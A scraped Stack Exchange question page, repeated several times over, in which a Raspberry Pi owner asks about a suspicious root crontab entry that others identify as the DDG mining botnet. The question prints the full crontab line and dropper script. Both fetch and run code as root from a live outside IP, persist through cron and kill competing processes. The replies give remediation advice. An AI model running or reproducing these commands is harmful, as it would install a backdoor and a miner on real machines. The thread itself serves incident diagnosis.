Suspicious crontab entry running 'xribfa4' every 15 minutesHow can I kill minerd malware on an AWS EC2 instance? (compromised server)CronJob every 25 minutesRunning a script every 30 minutes with crontab using ROOT (Debian)Crontab suspicious activitycrontab is launching multiple java process every 5 minutes?Cron only occasionally sends e-mail on output and errorsSuspicious traffic in nethogs on fresh installprocess keeps on startingHow does cron set the environment variables in /etc/cron.d/* and /etc/cron.d/?Conditional crontab entry
3.3M resistors not registering on multimeter - are they faulty?
Resolution of potentiometer
How to correctly say Star Wars in Latin?
Is the number of federal judges appointed by Trump unusual?
Magento 2 Escrow Payment Integration
Texas gun laws - can an overseas visitor buy ammunition?
Even and Odd Numbers
A short story (possibility written in the 80's), where humans visit an alien race that evolves fast?
In Excel, is there a shortcut to hide a wide range of columns without mouse-dragging?
Can I use Thaumaturgy to hide the effect of Detect Magic?
Was Jumanji intended to be a co-op game?
Affection vs. Affliction
"Government transplant" been tried? At what scale, and what were the results?
SQL Server Truncates Transaction Logs with Copy Only Backups
A story both SF and Fantasy where a character in a spacesuit has a phantom arm
Sort-of Alexa clone using Python on a raspberry pi
Would the moon eventually fall into Earth if we reduce its tangential velocity slightly?
What is the moral difference between abortion and infanticide?
How did 36-bit computers format ARPANET packets?
Forgot item in a hotel in Spain; hotel says I have to send a courier myself because they don't handle international shipments
Was Greta Thunberg forced to ride on the floor of an overcrowded train?
How much would a language change over 500 years completely cut off from its source?
Why was LEGO reluctant to use additional colours for regular bricks in former times?
Is it possible to conserve the total kinetic energy of a system, but not its momentum?
Suspicious crontab entry running 'xribfa4' every 15 minutes
How can I kill minerd malware on an AWS EC2 instance? (compromised server)CronJob every 25 minutesRunning a script every 30 minutes with crontab using ROOT (Debian)Crontab suspicious activitycrontab is launching multiple java process every 5 minutes?Cron only occasionally sends e-mail on output and errorsSuspicious traffic in nethogs on fresh installprocess keeps on startingHow does cron set the environment variables in /etc/cron.d/* and /etc/cron.d/?Conditional crontab entry
.everyoneloves__top-leaderboard:empty,.everyoneloves__mid-leaderboard:empty,.everyoneloves__bot-mid-leaderboard:empty
margin-bottom:0;
I wanted to add something to my root crontab file on my Raspberry Pi, and found an entry that seems suspicious to me, searching for parts of it on Google turned up nothing.
Crontab entry:
*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh
The contents of http://103.219.112.66:8000/i.sh
are:
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/root
echo "*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -fsSL -m180 http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh" >> /var/spool/cron/root
cp -f /var/spool/cron/root /var/spool/cron/crontabs/root
cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable
export PATH=$PATH:$(pwd)
ps auxf | grep -v grep | grep xribfa4 || rm -rf xribfa4
if [ ! -f "xribfa4" ]; then
curl -fsSL -m1800 http://103.219.112.66:8000/static/4004/ddgs.$(uname -m) -o xribfa4||wget -q -T1800 http://103.219.112.66:8000/static/4004/ddgs.$(uname -m) -O xribfa4
fi
chmod +x xribfa4
/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4
ps auxf | grep -v grep | grep xribbcb | awk 'print $2' | xargs kill -9
ps auxf | grep -v grep | grep xribbcc | awk 'print $2' | xargs kill -9
ps auxf | grep -v grep | grep xribbcd | awk 'print $2' | xargs kill -9
ps auxf | grep -v grep | grep xribbce | awk 'print $2' | xargs kill -9
ps auxf | grep -v grep | grep xribfa0 | awk 'print $2' | xargs kill -9
ps auxf | grep -v grep | grep xribfa1 | awk 'print $2' | xargs kill -9
ps auxf | grep -v grep | grep xribfa2 | awk 'print $2' | xargs kill -9
ps auxf | grep -v grep | grep xribfa3 | awk 'print $2' | xargs kill -9
echo "*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh" | crontab -
My Linux knowledge is limited, but to me it seems that downloading binaries from an Indonesian server and running them as root regularly is not something that is usual.
What is this? What should I do?
security cron malware
|
show 9 more comments
I wanted to add something to my root crontab file on my Raspberry Pi, and found an entry that seems suspicious to me, searching for parts of it on Google turned up nothing.
Crontab entry:
*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh
The contents of http://103.219.112.66:8000/i.sh
are:
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/root
echo "*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -fsSL -m180 http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh" >> /var/spool/cron/root
cp -f /var/spool/cron/root /var/spool/cron/crontabs/root
cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable
export PATH=$PATH:$(pwd)
ps auxf | grep -v grep | grep xribfa4 || rm -rf xribfa4
if [ ! -f "xribfa4" ]; then
curl -fsSL -m1800 http://103.219.112.66:8000/static/4004/ddgs.$(uname -m) -o xribfa4||wget -q -T1800 http://103.219.112.66:8000/static/4004/ddgs.$(uname -m) -O xribfa4
fi
chmod +x xribfa4
/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4
ps auxf | grep -v grep | grep xribbcb | awk 'print $2' | xargs kill -9
ps auxf | grep -v grep | grep xribbcc | awk 'print $2' | xargs kill -9
ps auxf | grep -v grep | grep xribbcd | awk 'print $2' | xargs kill -9
ps auxf | grep -v grep | grep xribbce | awk 'print $2' | xargs kill -9
ps auxf | grep -v grep | grep xribfa0 | awk 'print $2' | xargs kill -9
ps auxf | grep -v grep | grep xribfa1 | awk 'print $2' | xargs kill -9
ps auxf | grep -v grep | grep xribfa2 | awk 'print $2' | xargs kill -9
ps auxf | grep -v grep | grep xribfa3 | awk 'print $2' | xargs kill -9
echo "*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh" | crontab -
My Linux knowledge is limited, but to me it seems that downloading binaries from an Indonesian server and running them as root regularly is not something that is usual.
What is this? What should I do?
security cron malware
16
It’s circular. Every 15 minutes it downloads and installs a fresh copy of itself. If/when the copy on the remote server is changed, all servers running this cronjob will execute whatever the new code is, within 15 minutes.
– Wildcard
Oct 2 at 17:50
5
Is your raspberry pi open to the internet? What is your raspberry pi running? This is the only result on google when I search for xribfa4. If you are not running software that needs to do this then this is likely a virus.
– kemotep
Oct 2 at 18:18
6
@kemotep that string is random, but google for the IP and it gives a few results. Something about a ddg mining botnet
– frostschutz
Oct 2 at 18:49
9
I found it. Its crazy that the IP is registered to an Indonesian Government site. Also looks like there is nearly 2000 other ips delivering this payload.
– kemotep
Oct 2 at 19:20
21
The main thing you must be aware of is that even if you remove that crontab entry, your system most likely still has the vulnerability that allowed it to be infected. You need to find and fix that vulnerability.
– Hans-Martin Mosner
Oct 2 at 21:15
|
show 9 more comments
I wanted to add something to my root crontab file on my Raspberry Pi, and found an entry that seems suspicious to me, searching for parts of it on Google turned up nothing.
Crontab entry:
*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh
The contents of http://103.219.112.66:8000/i.sh
are:
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/root
echo "*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -fsSL -m180 http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh" >> /var/spool/cron/root
cp -f /var/spool/cron/root /var/spool/cron/crontabs/root
cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable
export PATH=$PATH:$(pwd)
ps auxf | grep -v grep | grep xribfa4 || rm -rf xribfa4
if [ ! -f "xribfa4" ]; then
curl -fsSL -m1800 http://103.219.112.66:8000/static/4004/ddgs.$(uname -m) -o xribfa4||wget -q -T1800 http://103.219.112.66:8000/static/4004/ddgs.$(uname -m) -O xribfa4
fi
chmod +x xribfa4
/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4
ps auxf | grep -v grep | grep xribbcb | awk 'print $2' | xargs kill -9
ps auxf | grep -v grep | grep xribbcc | awk 'print $2' | xargs kill -9
ps auxf | grep -v grep | grep xribbcd | awk 'print $2' | xargs kill -9
ps auxf | grep -v grep | grep xribbce | awk 'print $2' | xargs kill -9
ps auxf | grep -v grep | grep xribfa0 | awk 'print $2' | xargs kill -9
ps auxf | grep -v grep | grep xribfa1 | awk 'print $2' | xargs kill -9
ps auxf | grep -v grep | grep xribfa2 | awk 'print $2' | xargs kill -9
ps auxf | grep -v grep | grep xribfa3 | awk 'print $2' | xargs kill -9
echo "*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh" | crontab -
My Linux knowledge is limited, but to me it seems that downloading binaries from an Indonesian server and running them as root regularly is not something that is usual.
What is this? What should I do?
security cron malware
I wanted to add something to my root crontab file on my Raspberry Pi, and found an entry that seems suspicious to me, searching for parts of it on Google turned up nothing.
Crontab entry:
*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh
The contents of http://103.219.112.66:8000/i.sh
are:
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/root
echo "*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -fsSL -m180 http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh" >> /var/spool/cron/root
cp -f /var/spool/cron/root /var/spool/cron/crontabs/root
cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable
export PATH=$PATH:$(pwd)
ps auxf | grep -v grep | grep xribfa4 || rm -rf xribfa4
if [ ! -f "xribfa4" ]; then
curl -fsSL -m1800 http://103.219.112.66:8000/static/4004/ddgs.$(uname -m) -o xribfa4||wget -q -T1800 http://103.219.112.66:8000/static/4004/ddgs.$(uname -m) -O xribfa4
fi
chmod +x xribfa4
/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4
ps auxf | grep -v grep | grep xribbcb | awk 'print $2' | xargs kill -9
ps auxf | grep -v grep | grep xribbcc | awk 'print $2' | xargs kill -9
ps auxf | grep -v grep | grep xribbcd | awk 'print $2' | xargs kill -9
ps auxf | grep -v grep | grep xribbce | awk 'print $2' | xargs kill -9
ps auxf | grep -v grep | grep xribfa0 | awk 'print $2' | xargs kill -9
ps auxf | grep -v grep | grep xribfa1 | awk 'print $2' | xargs kill -9
ps auxf | grep -v grep | grep xribfa2 | awk 'print $2' | xargs kill -9
ps auxf | grep -v grep | grep xribfa3 | awk 'print $2' | xargs kill -9
echo "*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh" | crontab -
My Linux knowledge is limited, but to me it seems that downloading binaries from an Indonesian server and running them as root regularly is not something that is usual.
What is this? What should I do?
security cron malware
security cron malware
edited Oct 3 at 19:03
smci
1539 bronze badges
1539 bronze badges
asked Oct 2 at 17:25
Peter DamPeter Dam
7035 silver badges7 bronze badges
7035 silver badges7 bronze badges
16
It’s circular. Every 15 minutes it downloads and installs a fresh copy of itself. If/when the copy on the remote server is changed, all servers running this cronjob will execute whatever the new code is, within 15 minutes.
– Wildcard
Oct 2 at 17:50
5
Is your raspberry pi open to the internet? What is your raspberry pi running? This is the only result on google when I search for xribfa4. If you are not running software that needs to do this then this is likely a virus.
– kemotep
Oct 2 at 18:18
6
@kemotep that string is random, but google for the IP and it gives a few results. Something about a ddg mining botnet
– frostschutz
Oct 2 at 18:49
9
I found it. Its crazy that the IP is registered to an Indonesian Government site. Also looks like there is nearly 2000 other ips delivering this payload.
– kemotep
Oct 2 at 19:20
21
The main thing you must be aware of is that even if you remove that crontab entry, your system most likely still has the vulnerability that allowed it to be infected. You need to find and fix that vulnerability.
– Hans-Martin Mosner
Oct 2 at 21:15
|
show 9 more comments
16
It’s circular. Every 15 minutes it downloads and installs a fresh copy of itself. If/when the copy on the remote server is changed, all servers running this cronjob will execute whatever the new code is, within 15 minutes.
– Wildcard
Oct 2 at 17:50
5
Is your raspberry pi open to the internet? What is your raspberry pi running? This is the only result on google when I search for xribfa4. If you are not running software that needs to do this then this is likely a virus.
– kemotep
Oct 2 at 18:18
6
@kemotep that string is random, but google for the IP and it gives a few results. Something about a ddg mining botnet
– frostschutz
Oct 2 at 18:49
9
I found it. Its crazy that the IP is registered to an Indonesian Government site. Also looks like there is nearly 2000 other ips delivering this payload.
– kemotep
Oct 2 at 19:20
21
The main thing you must be aware of is that even if you remove that crontab entry, your system most likely still has the vulnerability that allowed it to be infected. You need to find and fix that vulnerability.
– Hans-Martin Mosner
Oct 2 at 21:15
16
16
It’s circular. Every 15 minutes it downloads and installs a fresh copy of itself. If/when the copy on the remote server is changed, all servers running this cronjob will execute whatever the new code is, within 15 minutes.
– Wildcard
Oct 2 at 17:50
It’s circular. Every 15 minutes it downloads and installs a fresh copy of itself. If/when the copy on the remote server is changed, all servers running this cronjob will execute whatever the new code is, within 15 minutes.
– Wildcard
Oct 2 at 17:50
5
5
Is your raspberry pi open to the internet? What is your raspberry pi running? This is the only result on google when I search for xribfa4. If you are not running software that needs to do this then this is likely a virus.
– kemotep
Oct 2 at 18:18
Is your raspberry pi open to the internet? What is your raspberry pi running? This is the only result on google when I search for xribfa4. If you are not running software that needs to do this then this is likely a virus.
– kemotep
Oct 2 at 18:18
6
6
@kemotep that string is random, but google for the IP and it gives a few results. Something about a ddg mining botnet
– frostschutz
Oct 2 at 18:49
@kemotep that string is random, but google for the IP and it gives a few results. Something about a ddg mining botnet
– frostschutz
Oct 2 at 18:49
9
9
I found it. Its crazy that the IP is registered to an Indonesian Government site. Also looks like there is nearly 2000 other ips delivering this payload.
– kemotep
Oct 2 at 19:20
I found it. Its crazy that the IP is registered to an Indonesian Government site. Also looks like there is nearly 2000 other ips delivering this payload.
– kemotep
Oct 2 at 19:20
21
21
The main thing you must be aware of is that even if you remove that crontab entry, your system most likely still has the vulnerability that allowed it to be infected. You need to find and fix that vulnerability.
– Hans-Martin Mosner
Oct 2 at 21:15
The main thing you must be aware of is that even if you remove that crontab entry, your system most likely still has the vulnerability that allowed it to be infected. You need to find and fix that vulnerability.
– Hans-Martin Mosner
Oct 2 at 21:15
|
show 9 more comments
2 Answers
2
active
oldest
votes
It is a DDG mining botnet , how it work :
- exploiting an RCE vulnerability
- modifying the crontab
- downloading the appropriate mining program (written with go)
- starting the mining process
DDG: A Mining Botnet Aiming at Database Servers
SystemdMiner when a botnet borrows another botnet’s infrastructure
U&L : How can I kill minerd malware on an AWS EC2 instance? (compromised server)
4
Yeah, it actually seems that this is it. Thanks! Will mark this as an answer, if nothing new comes up.
– Peter Dam
Oct 2 at 22:22
8
Don't forget the usual advice for a rooted machine: try and figure out how they got in so you can fix the hole. Learn from this, and increase your security. Finally, nuke and reinstall the machine.
– marcelm
Oct 3 at 20:55
3
The good news is that they don't appear to have a miner for the Pi, just for i686 and x86_64.
– Mark
Oct 3 at 22:24
13
@Mark How is that good news? Someone gained full control over his Pi using an unknown entry point, and had full access to any secrets on the Pi (including but not limited to passwords). Whether or not the miner runs is really in the realm of "small inconvenience".
– marcelm
Oct 4 at 20:35
4
@marcelm, the attacker gained full control over it, and then almost certainly didn't do anything significant with that control.
– Mark
Oct 4 at 21:48
|
show 1 more comment
Figure out which TCP and UDP ports are actually needed, and then block all of the other ports in your router's firewall. Possibly, those crontab entries will not reappear.
You can see which ports are open and public by using the Shields Up! feature at grc.com.
5
Or he could patch the vulnerability.
– Harper - Reinstate Monica
Oct 5 at 18:19
1
@Harper Absolutely! That's a given. I was thinking that perhaps without blocking the unused ports first, it might get reinfected while he was trying to patch it.
– Mike Waters
Oct 5 at 18:56
1
Relevant comment from security.SE: security.stackexchange.com/questions/147770/…
– Wildcard
Oct 9 at 22:37
1
This (not limiting to just TCP and UDP, though), always. A.k.a. positive security model, whitelist or deny-by-default — deny all traffic that you don't explicitly use or need — the only way to ensure none of your holes are exposed to penetration.
– antichris
Oct 16 at 13:27
add a comment
|
Your Answer
StackExchange.ready(function()
var channelOptions =
tags: "".split(" "),
id: "106"
;
initTagRenderer("".split(" "), "".split(" "), channelOptions);
StackExchange.using("externalEditor", function()
// Have to fire editor after snippets, if snippets enabled
if (StackExchange.settings.snippets.snippetsEnabled)
StackExchange.using("snippets", function()
createEditor();
);
else
createEditor();
);
function createEditor()
StackExchange.prepareEditor(
heartbeatType: 'answer',
autoActivateHeartbeat: false,
convertImagesToLinks: false,
noModals: true,
showLowRepImageUploadWarning: true,
reputationToPostImages: null,
bindNavPrevention: true,
postfix: "",
imageUploader:
brandingHtml: "Powered by u003ca class="icon-imgur-white" href="https://imgur.com/"u003eu003c/au003e",
contentPolicyHtml: "User contributions licensed under u003ca href="https://creativecommons.org/licenses/by-sa/4.0/"u003ecc by-sa 4.0 with attribution requiredu003c/au003e u003ca href="https://stackoverflow.com/legal/content-policy"u003e(content policy)u003c/au003e",
allowUrls: true
,
onDemand: true,
discardSelector: ".discard-answer"
,immediatelyShowMarkdownHelp:true
);
);
Sign up or log in
StackExchange.ready(function ()
StackExchange.helpers.onClickDraftSave('#login-link');
);
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
StackExchange.ready(
function ()
StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2funix.stackexchange.com%2fquestions%2f544811%2fsuspicious-crontab-entry-running-xribfa4-every-15-minutes%23new-answer', 'question_page');
);
Post as a guest
Required, but never shown
2 Answers
2
active
oldest
votes
2 Answers
2
active
oldest
votes
active
oldest
votes
active
oldest
votes
It is a DDG mining botnet , how it work :
- exploiting an RCE vulnerability
- modifying the crontab
- downloading the appropriate mining program (written with go)
- starting the mining process
DDG: A Mining Botnet Aiming at Database Servers
SystemdMiner when a botnet borrows another botnet’s infrastructure
U&L : How can I kill minerd malware on an AWS EC2 instance? (compromised server)
4
Yeah, it actually seems that this is it. Thanks! Will mark this as an answer, if nothing new comes up.
– Peter Dam
Oct 2 at 22:22
8
Don't forget the usual advice for a rooted machine: try and figure out how they got in so you can fix the hole. Learn from this, and increase your security. Finally, nuke and reinstall the machine.
– marcelm
Oct 3 at 20:55
3
The good news is that they don't appear to have a miner for the Pi, just for i686 and x86_64.
– Mark
Oct 3 at 22:24
13
@Mark How is that good news? Someone gained full control over his Pi using an unknown entry point, and had full access to any secrets on the Pi (including but not limited to passwords). Whether or not the miner runs is really in the realm of "small inconvenience".
– marcelm
Oct 4 at 20:35
4
@marcelm, the attacker gained full control over it, and then almost certainly didn't do anything significant with that control.
– Mark
Oct 4 at 21:48
|
show 1 more comment
It is a DDG mining botnet , how it work :
- exploiting an RCE vulnerability
- modifying the crontab
- downloading the appropriate mining program (written with go)
- starting the mining process
DDG: A Mining Botnet Aiming at Database Servers
SystemdMiner when a botnet borrows another botnet’s infrastructure
U&L : How can I kill minerd malware on an AWS EC2 instance? (compromised server)
4
Yeah, it actually seems that this is it. Thanks! Will mark this as an answer, if nothing new comes up.
– Peter Dam
Oct 2 at 22:22
8
Don't forget the usual advice for a rooted machine: try and figure out how they got in so you can fix the hole. Learn from this, and increase your security. Finally, nuke and reinstall the machine.
– marcelm
Oct 3 at 20:55
3
The good news is that they don't appear to have a miner for the Pi, just for i686 and x86_64.
– Mark
Oct 3 at 22:24
13
@Mark How is that good news? Someone gained full control over his Pi using an unknown entry point, and had full access to any secrets on the Pi (including but not limited to passwords). Whether or not the miner runs is really in the realm of "small inconvenience".
– marcelm
Oct 4 at 20:35
4
@marcelm, the attacker gained full control over it, and then almost certainly didn't do anything significant with that control.
– Mark
Oct 4 at 21:48
|
show 1 more comment
It is a DDG mining botnet , how it work :
- exploiting an RCE vulnerability
- modifying the crontab
- downloading the appropriate mining program (written with go)
- starting the mining process
DDG: A Mining Botnet Aiming at Database Servers
SystemdMiner when a botnet borrows another botnet’s infrastructure
U&L : How can I kill minerd malware on an AWS EC2 instance? (compromised server)
It is a DDG mining botnet , how it work :
- exploiting an RCE vulnerability
- modifying the crontab
- downloading the appropriate mining program (written with go)
- starting the mining process
DDG: A Mining Botnet Aiming at Database Servers
SystemdMiner when a botnet borrows another botnet’s infrastructure
U&L : How can I kill minerd malware on an AWS EC2 instance? (compromised server)
edited Oct 3 at 17:42
answered Oct 2 at 18:49
GAD3RGAD3R
35.1k20 gold badges69 silver badges128 bronze badges
35.1k20 gold badges69 silver badges128 bronze badges
4
Yeah, it actually seems that this is it. Thanks! Will mark this as an answer, if nothing new comes up.
– Peter Dam
Oct 2 at 22:22
8
Don't forget the usual advice for a rooted machine: try and figure out how they got in so you can fix the hole. Learn from this, and increase your security. Finally, nuke and reinstall the machine.
– marcelm
Oct 3 at 20:55
3
The good news is that they don't appear to have a miner for the Pi, just for i686 and x86_64.
– Mark
Oct 3 at 22:24
13
@Mark How is that good news? Someone gained full control over his Pi using an unknown entry point, and had full access to any secrets on the Pi (including but not limited to passwords). Whether or not the miner runs is really in the realm of "small inconvenience".
– marcelm
Oct 4 at 20:35
4
@marcelm, the attacker gained full control over it, and then almost certainly didn't do anything significant with that control.
– Mark
Oct 4 at 21:48
|
show 1 more comment
4
Yeah, it actually seems that this is it. Thanks! Will mark this as an answer, if nothing new comes up.
– Peter Dam
Oct 2 at 22:22
8
Don't forget the usual advice for a rooted machine: try and figure out how they got in so you can fix the hole. Learn from this, and increase your security. Finally, nuke and reinstall the machine.
– marcelm
Oct 3 at 20:55
3
The good news is that they don't appear to have a miner for the Pi, just for i686 and x86_64.
– Mark
Oct 3 at 22:24
13
@Mark How is that good news? Someone gained full control over his Pi using an unknown entry point, and had full access to any secrets on the Pi (including but not limited to passwords). Whether or not the miner runs is really in the realm of "small inconvenience".
– marcelm
Oct 4 at 20:35
4
@marcelm, the attacker gained full control over it, and then almost certainly didn't do anything significant with that control.
– Mark
Oct 4 at 21:48
4
4
Yeah, it actually seems that this is it. Thanks! Will mark this as an answer, if nothing new comes up.
– Peter Dam
Oct 2 at 22:22
Yeah, it actually seems that this is it. Thanks! Will mark this as an answer, if nothing new comes up.
– Peter Dam
Oct 2 at 22:22
8
8
Don't forget the usual advice for a rooted machine: try and figure out how they got in so you can fix the hole. Learn from this, and increase your security. Finally, nuke and reinstall the machine.
– marcelm
Oct 3 at 20:55
Don't forget the usual advice for a rooted machine: try and figure out how they got in so you can fix the hole. Learn from this, and increase your security. Finally, nuke and reinstall the machine.
– marcelm
Oct 3 at 20:55
3
3
The good news is that they don't appear to have a miner for the Pi, just for i686 and x86_64.
– Mark
Oct 3 at 22:24
The good news is that they don't appear to have a miner for the Pi, just for i686 and x86_64.
– Mark
Oct 3 at 22:24
13
13
@Mark How is that good news? Someone gained full control over his Pi using an unknown entry point, and had full access to any secrets on the Pi (including but not limited to passwords). Whether or not the miner runs is really in the realm of "small inconvenience".
– marcelm
Oct 4 at 20:35
@Mark How is that good news? Someone gained full control over his Pi using an unknown entry point, and had full access to any secrets on the Pi (including but not limited to passwords). Whether or not the miner runs is really in the realm of "small inconvenience".
– marcelm
Oct 4 at 20:35
4
4
@marcelm, the attacker gained full control over it, and then almost certainly didn't do anything significant with that control.
– Mark
Oct 4 at 21:48
@marcelm, the attacker gained full control over it, and then almost certainly didn't do anything significant with that control.
– Mark
Oct 4 at 21:48
|
show 1 more comment
Figure out which TCP and UDP ports are actually needed, and then block all of the other ports in your router's firewall. Possibly, those crontab entries will not reappear.
You can see which ports are open and public by using the Shields Up! feature at grc.com.
5
Or he could patch the vulnerability.
– Harper - Reinstate Monica
Oct 5 at 18:19
1
@Harper Absolutely! That's a given. I was thinking that perhaps without blocking the unused ports first, it might get reinfected while he was trying to patch it.
– Mike Waters
Oct 5 at 18:56
1
Relevant comment from security.SE: security.stackexchange.com/questions/147770/…
– Wildcard
Oct 9 at 22:37
1
This (not limiting to just TCP and UDP, though), always. A.k.a. positive security model, whitelist or deny-by-default — deny all traffic that you don't explicitly use or need — the only way to ensure none of your holes are exposed to penetration.
– antichris
Oct 16 at 13:27
add a comment
|
Figure out which TCP and UDP ports are actually needed, and then block all of the other ports in your router's firewall. Possibly, those crontab entries will not reappear.
You can see which ports are open and public by using the Shields Up! feature at grc.com.
5
Or he could patch the vulnerability.
– Harper - Reinstate Monica
Oct 5 at 18:19
1
@Harper Absolutely! That's a given. I was thinking that perhaps without blocking the unused ports first, it might get reinfected while he was trying to patch it.
– Mike Waters
Oct 5 at 18:56
1
Relevant comment from security.SE: security.stackexchange.com/questions/147770/…
– Wildcard
Oct 9 at 22:37
1
This (not limiting to just TCP and UDP, though), always. A.k.a. positive security model, whitelist or deny-by-default — deny all traffic that you don't explicitly use or need — the only way to ensure none of your holes are exposed to penetration.
– antichris
Oct 16 at 13:27
add a comment
|
Figure out which TCP and UDP ports are actually needed, and then block all of the other ports in your router's firewall. Possibly, those crontab entries will not reappear.
You can see which ports are open and public by using the Shields Up! feature at grc.com.
Figure out which TCP and UDP ports are actually needed, and then block all of the other ports in your router's firewall. Possibly, those crontab entries will not reappear.
You can see which ports are open and public by using the Shields Up! feature at grc.com.
answered Oct 4 at 20:50
Mike WatersMike Waters
1591 silver badge9 bronze badges
1591 silver badge9 bronze badges
5
Or he could patch the vulnerability.
– Harper - Reinstate Monica
Oct 5 at 18:19
1
@Harper Absolutely! That's a given. I was thinking that perhaps without blocking the unused ports first, it might get reinfected while he was trying to patch it.
– Mike Waters
Oct 5 at 18:56
1
Relevant comment from security.SE: security.stackexchange.com/questions/147770/…
– Wildcard
Oct 9 at 22:37
1
This (not limiting to just TCP and UDP, though), always. A.k.a. positive security model, whitelist or deny-by-default — deny all traffic that you don't explicitly use or need — the only way to ensure none of your holes are exposed to penetration.
– antichris
Oct 16 at 13:27
add a comment
|
5
Or he could patch the vulnerability.
– Harper - Reinstate Monica
Oct 5 at 18:19
1
@Harper Absolutely! That's a given. I was thinking that perhaps without blocking the unused ports first, it might get reinfected while he was trying to patch it.
– Mike Waters
Oct 5 at 18:56
1
Relevant comment from security.SE: security.stackexchange.com/questions/147770/…
– Wildcard
Oct 9 at 22:37
1
This (not limiting to just TCP and UDP, though), always. A.k.a. positive security model, whitelist or deny-by-default — deny all traffic that you don't explicitly use or need — the only way to ensure none of your holes are exposed to penetration.
– antichris
Oct 16 at 13:27
5
5
Or he could patch the vulnerability.
– Harper - Reinstate Monica
Oct 5 at 18:19
Or he could patch the vulnerability.
– Harper - Reinstate Monica
Oct 5 at 18:19
1
1
@Harper Absolutely! That's a given. I was thinking that perhaps without blocking the unused ports first, it might get reinfected while he was trying to patch it.
– Mike Waters
Oct 5 at 18:56
@Harper Absolutely! That's a given. I was thinking that perhaps without blocking the unused ports first, it might get reinfected while he was trying to patch it.
– Mike Waters
Oct 5 at 18:56
1
1
Relevant comment from security.SE: security.stackexchange.com/questions/147770/…
– Wildcard
Oct 9 at 22:37
Relevant comment from security.SE: security.stackexchange.com/questions/147770/…
– Wildcard
Oct 9 at 22:37
1
1
This (not limiting to just TCP and UDP, though), always. A.k.a. positive security model, whitelist or deny-by-default — deny all traffic that you don't explicitly use or need — the only way to ensure none of your holes are exposed to penetration.
– antichris
Oct 16 at 13:27
